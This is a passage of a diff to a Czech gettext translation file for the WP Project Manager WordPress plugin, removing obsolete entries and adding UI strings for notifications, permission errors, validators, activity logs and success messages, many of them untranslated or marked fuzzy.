komentář" - -# @ cpm -#~ msgid "Add a comment..." -#~ msgstr "Přidat komentář..." - -# @ cpm -#~ msgid "Messages" -#~ msgstr "Zprávy" - -# @ cpm -#~ msgid "message post type" -#~ msgstr "druh příspěvky zpráva" - -# @ cpm -#~ msgid "Edit Message" -#~ msgstr "Upravit zprávu" - -# @ cpm -#~ msgid "Search Messages" -#~ msgstr "Hledat zprávu" - -# @ cpm -#~ msgid "Parent Message" -#~ msgstr "Nadřazená zpráva" - -# @ cpm -#~ msgid "Add New Milestone" -#~ msgstr "Vytvořit cíl" - -# @ cpm -#~ msgid "New Milestone" -#~ msgstr "Nový cíl" - -# @ cpm -#~ msgid "View Milestone" -#~ msgstr "Zobrazit cíl" - -# @ cpm -#~ msgid "Search Milestone" -#~ msgstr "Hledat cíl" - -# @ cpm -#~ msgid "Parent Milestone" -#~ msgstr "Nadřazený cíl" - -# @ cpm -#~ msgid "project manager post type" -#~ msgstr "příspěvky projektového manažera" - -# @ cpm -#~ msgid "Add Project" -#~ msgstr "Přidat projekt" - -# @ cpm -#~ msgid "Edit Project" -#~ msgstr "Upravit projekt" - -# @ cpm -#~ msgid "Search Project" -#~ msgstr "Hledat projekt" - -# @ cpm -#~ msgid "Parent Project" -#~ msgstr "Nadřazený projekt" - -# @ cpm -#~ msgid "Add Task List" -#~ msgstr "Přidat seznam úkolů" - -# @ cpm -#~ msgid "Add New Task List" -#~ msgstr "Vytvořit seznam úkolů" - -# @ cpm -#~ msgid "Edit Task List" -#~ msgstr "Upravit seznam úkolů" - -# @ cpm -#~ msgid "View Task List" -#~ msgstr "Zobrazit seznam úkolů" - -# @ cpm -#~ msgid "Search Task List" -#~ msgstr "Hledat seznam úkolů" - -# @ cpm -#~ msgid "Parent Task List" -#~ msgstr "Nadřazený seznam úkolů" - -# @ cpm -#~ msgid "Add New Task" -#~ msgstr "Vytvořit úkol" - -# @ cpm -#~ msgid "Edit Task" -#~ msgstr "Upravit úkol" - -# @ cpm -#~ msgid "New Task" -#~ msgstr "Nový úkol" - -# @ cpm -#~ msgid "Search Task" -#~ msgstr "Hledat úkol" - -# @ cpm -#~ msgid "Parent Task" -#~ msgstr "Nadřazený úkol" - -#~ msgid "Pro Version" -#~ msgstr "PRO verze" - -#~ msgid "Add-ons" -#~ msgstr "Doplňky" - -#~ msgid "Installed" -#~ msgstr "Nainstalováno" - -# @ cpm -#~ msgid "View Details" -#~ msgstr "Zobrazit podrobnosti" - -#~ msgid "Error fetching add-ons. Please try again later!" -#~ msgstr "Chyba při načítání doplňků. Prosím zkuste to později!" - -# @ cpm -#~ msgid "Delete project" -#~ msgstr "Odstranit projekt" - -# @ cpm -#~ msgid "Add this comment" -#~ msgstr "Přidat tento komentář" - -# @ cpm -#~ msgid "late" -#~ msgstr "pozdě" - -# @ cpm -#~ msgid "Attached to %s by %s" -#~ msgstr "%s přiložil %s" - -# @ cpm -#~ msgid "Error: Message not found" -#~ msgstr "Chyba: Zpráva nenalezena" - -# @ cpm -#~ msgid "Error: Project not found" -#~ msgstr "Chyba: Projekt nenalezen" - -# @ cpm -#~ msgid "Error: Permission denied" -#~ msgstr "Chyba: Přístup zamítnut" - -# @ cpm -#, fuzzy -#~ msgid "1 Comment" -#~ msgid_plural "%d Comments" -#~ msgstr[0] "1 komentář" -#~ msgstr[1] "1 komentář" -#~ msgstr[2] "1 komentář" - -# @ cpm -#~ msgid "Message %s created by %s" -#~ msgstr "Zprávu %s vytvořil %s" - -# @ cpm -#~ msgid "Message %s updated by %s" -#~ msgstr "Zprávu %s aktualizoval %s" - -# @ cpm -#~ msgid "To-do list %s created by %s" -#~ msgstr "Seznam nedodělků %s vytvořil %s" - -# @ cpm -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Seznam nedodělků %s aktualizoval %s" - -# @ cpm -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Seznam nedodělků \"%s\" odstranil %s" - -# @ cpm -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Nedodělek %s přidal %s do seznamu nedodělků %s" - -# @ cpm -#~ msgid "To-do %s updated by %s" -#~ msgstr "Nedodělek %s aktualizoval %s" - -# @ cpm -#~ msgid "To-do %s completed by %s" -#~ msgstr "Nedodělek %s dokončil %s" - -# @ cpm -#~ msgid "Marked to-do as done" -#~ msgstr "Označit nedodělak za splněný" - -# @ cpm -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Nedodělek %s označil %s jako nesplněný" - -# @ cpm -#~ msgid "Re-opened to-do" -#~ msgstr "Znovuotevřené nedodělky" - -# @ cpm -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Nedodělek \"%s\" smazal %s ze seznamu nedodělků %s" - -# @ cpm -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Cíl \"%s\" vytvořil %s " - -# @ cpm -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Cíl \"%s\" aktualizoval %s " - -# @ cpm -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Cíl \"%s\" smazal %s " - -# @ cpm -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Cíl \"%s\" označil %s za splněný" - -# @ cpm -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Cíl \"%s\" označil %s za nesplněný" - -# @ cpm -#~ msgid "General" -#~ msgstr "Obecné" - -#~ msgid "- select -" -#~ msgstr "- vyberte -" - -# @ cpm -#~ msgid "No Messages Found" -#~ msgstr "Žádná zpráva nebyla nalezena" - -# @ cpm -#~ msgid "No Messages Found in Trash" -#~ msgstr "V koši nebyla nalezena žádná zpráva" - -# @ cpm -#~ msgid "No Milestone Found" -#~ msgstr "Žádný cíl nebyl nalezen" - -# @ cpm -#~ msgid "No Milestone Found in Trash" -#~ msgstr "V koši nebyl nalezen žádný cíl" - -# @ cpm -#~ msgid "No Project Found in Trash" -#~ msgstr "V koši nebyl nalezen žádný projekt" - -# @ cpm -#~ msgid "No Task List Found" -#~ msgstr "Žádný seznam úkolů nebyl nalezen" - -# @ cpm -#~ msgid "No Task List Found in Trash" -#~ msgstr "V koši nebyl nalezen žádný seznam úkolů" - -# @ cpm -#~ msgid "No Task Found" -#~ msgstr "Žádný úkol nebyl nalezen" - -# @ cpm -#~ msgid "No Task Found in Trash" -#~ msgstr "V koši nebyl nalezen žádný úkol" - -# @ cpm -#~ msgid "Select co-workers" -#~ msgstr "Vybrat spolupracovníky" - -# @ cpm -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Jste si jist(a), že chcete odstranit tento nedodělek." - -# @ cpm -#~ msgid "Add this to-do" -#~ msgstr "Vytvořit tento nedodělek" - -# @ cpm -#~ msgid "Add a new to-do" -#~ msgstr "Vytvořit nový nedodělek" - -# @ cpm -#~ msgid "-- milestone --" -#~ msgstr "-- cíl --" - -# @ cpm -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Jste si jist(a), že chcete odstranit tento seznam nedodělků?" - -# @ cpm -#~ msgid "Update comment" -#~ msgstr "Aktualizovat komentář" - -# @ cpm -#~ msgid "Edit milestone" -#~ msgstr "Upravit cíl" - -# @ cpm -#~ msgid "Mark un-complete" -#~ msgstr "Označit jako nesplněný" - -# @ cpm -#~ msgid "To-do List" -#~ msgstr "Seznam nedodělků" - -# @ cpm -#~ msgid "Notify Co-workers" -#~ msgstr "Upozornit spolupracovníky" - -# @ cpm -#~ msgid "thread" -#~ msgstr "vlákno" - -# @ cpm -#~ msgid "One Comment" -#~ msgid_plural "%s Comments" -#~ msgstr[0] "%s komentář" -#~ msgstr[1] "%s komentáře" -#~ msgstr[2] "%s komentářů" - -# @ cpm -#~ msgid "Discuss this to-do list" -#~ msgstr "Komentovat tento seznam nedodělků" - -# @ default -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "velikost souboru v MB. např. 2" - -# @ cpm -#~ msgid "New Project Subject" -#~ msgstr "Předmět nového projektu" - -# @ cpm -#~ msgid "New Project Body" -#~ msgstr "Tělo nového projektu" - -# @ cpm -#~ msgid "New Message Subject" -#~ msgstr "Předmět nové zprávy" - -# @ cpm -#~ msgid "New Message Body" -#~ msgstr "Tělo nové zprávy" - -# @ cpm -#~ msgid "New Comment Subject" -#~ msgstr "Předmět nového komentáře" - -# @ cpm -#~ msgid "New Assigned Task Subject" -#~ msgstr "Předmět nově přiřazeného úkolu" - -# @ cpm -#~ msgid "WP Project Manager - add-ons" -#~ msgstr "Manažer projektu - doplňky" - -# @ cpm -#~ msgid "-- assign to --" -#~ msgstr "-- přiřadit (komu) --" - -# @ cpm -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Vyberte soubory, které " -#~ "chcete přiložit z vašeho počítače. " - -# @ cpm -#~ msgid "%d message" -#~ msgid_plural "%d messages" -#~ msgstr[0] "%d zpráva" -#~ msgstr[1] "%d zprávy" -#~ msgstr[2] "%d zpráv" - -# @ cpm -#~ msgid "%d to-do list" -#~ msgid_plural "%d to-do lists" -#~ msgstr[0] "%d seznam nedodělků" -#~ msgstr[1] "%d seznamy nedodělků" -#~ msgstr[2] "%d seznamů nedodělků" - -# @ cpm -#~ msgid "%d to-do" -#~ msgid_plural "%d to-dos" -#~ msgstr[0] "%d nedodělek" -#~ msgstr[1] "%d nedodělky" -#~ msgstr[2] "%d nedodělků" - -# @ cpm -#~ msgid "%d milestone" -#~ msgid_plural "%d milestones" -#~ msgstr[0] "%d cíl" -#~ msgstr[1] "%d cíle" -#~ msgstr[2] "%d cílů" - -# @ cpm -#~ msgid "%d Comments" -#~ msgstr "%d komentářů" - -# @ cpm -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Dokončil %s, %s." - -# @ cpm -#~ msgid "Tasklist name" -#~ msgstr "Jméno seznamu úkolů" - -# @ cpm -#~ msgid "Add a to-do" -#~ msgstr "Vytvořit nedodělek" - -# @ cpm -#~ msgid "Message details here" -#~ msgstr "Zobrazit podrobnosti zprávy" - -# @ cpm -#~ msgid "Details about milestone (optional)" -#~ msgstr "Podrobnosti o cíli (nepovinné)" - -# @ cpm -#~ msgid "Reopen" -#~ msgstr "Znovuotevřít" - -# @ cpm -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ "Stáhněte soubor nebo zobrazte diskuzi." - -# @ cpm -#~ msgid "No Files Found!" -#~ msgstr "Nebyly nalezeny žádné soubory!" - -# @ cpm -#~ msgid "Add New" -#~ msgstr "Přidat nový" - -# @ cpm -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Žádné zprávy! Chcete nějakou přidat?" - -# @ cpm -#~ msgid "← back" -#~ msgstr "← zpět" - -# @ cpm -#~ msgid "No Milestone Found!" -#~ msgstr "Nebyl nalezen žádný cíl!" - -# @ cpm -#~ msgid "Add new milestone" -#~ msgstr "Přidat nový cíl" - -# @ cpm -#~ msgid "Project Info" -#~ msgstr "Informace o projektu" - -# @ cpm -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Chyba, žádný seznam nedodělků nebyl nalezen." - -# @ cpm -#~ msgid "Discuss this to-do" -#~ msgstr "Diskuze o nedodělku" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager v0.4.3\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:45+0600\n" +"Last-Translator: Jaroslav Ondra \n" +"Language-Team: dudlajda \n" +"Language: cs_CZ\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;\n" +"X-Generator: Poedit 2.0.8\n" +"X-Poedit-SourceCharset: UTF-8\n" +"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" +"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" +"X-Poedit-Basepath: ..\n" +"X-Textdomain-Support: yes\n" +"X-Poedit-SearchPath-0: .\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Zpráva" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Seznam úkolů" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Úkol" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Soubory" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Aktualizovat projekt" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +# @ cpm +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Načíst další" + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +# @ default +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Povolené soubory" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +# @ cpm +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Možnosti" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +# @ cpm +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Manažer projektu" + +# @ cpm +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projekty" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +# @ cpm +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "Podrobosti seznamu úkolů" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +# @ cpm +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s komentoval %s" + +# @ cpm +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s komentoval %s" + +# @ cpm +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s aktualizoval komentář k %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s aktualizoval komentář k %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s komentoval %s" + +# @ cpm +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s komentoval %s" + +# @ cpm +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s aktualizoval komentář k %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +# @ cpm +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s komentoval %s" + +# @ cpm +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s aktualizoval komentář k %s" + +# @ cpm +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s aktualizoval komentář k %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +# @ cpm +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Projekt" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +# @ cpm +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Seznam úkolů" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +# @ cpm +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Cíl" + +# @ cpm +#: texts/resource_types.php:20 +#, fuzzy +#| msgid "%d comment" +#| msgid_plural "%d comments" +msgid "comment" +msgstr "%d komentář" + +# @ cpm +#: texts/resource_types.php:23 +#, fuzzy +#| msgid "%d file" +#| msgid_plural "%d files" +msgid "file" +msgstr "%d soubor" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: 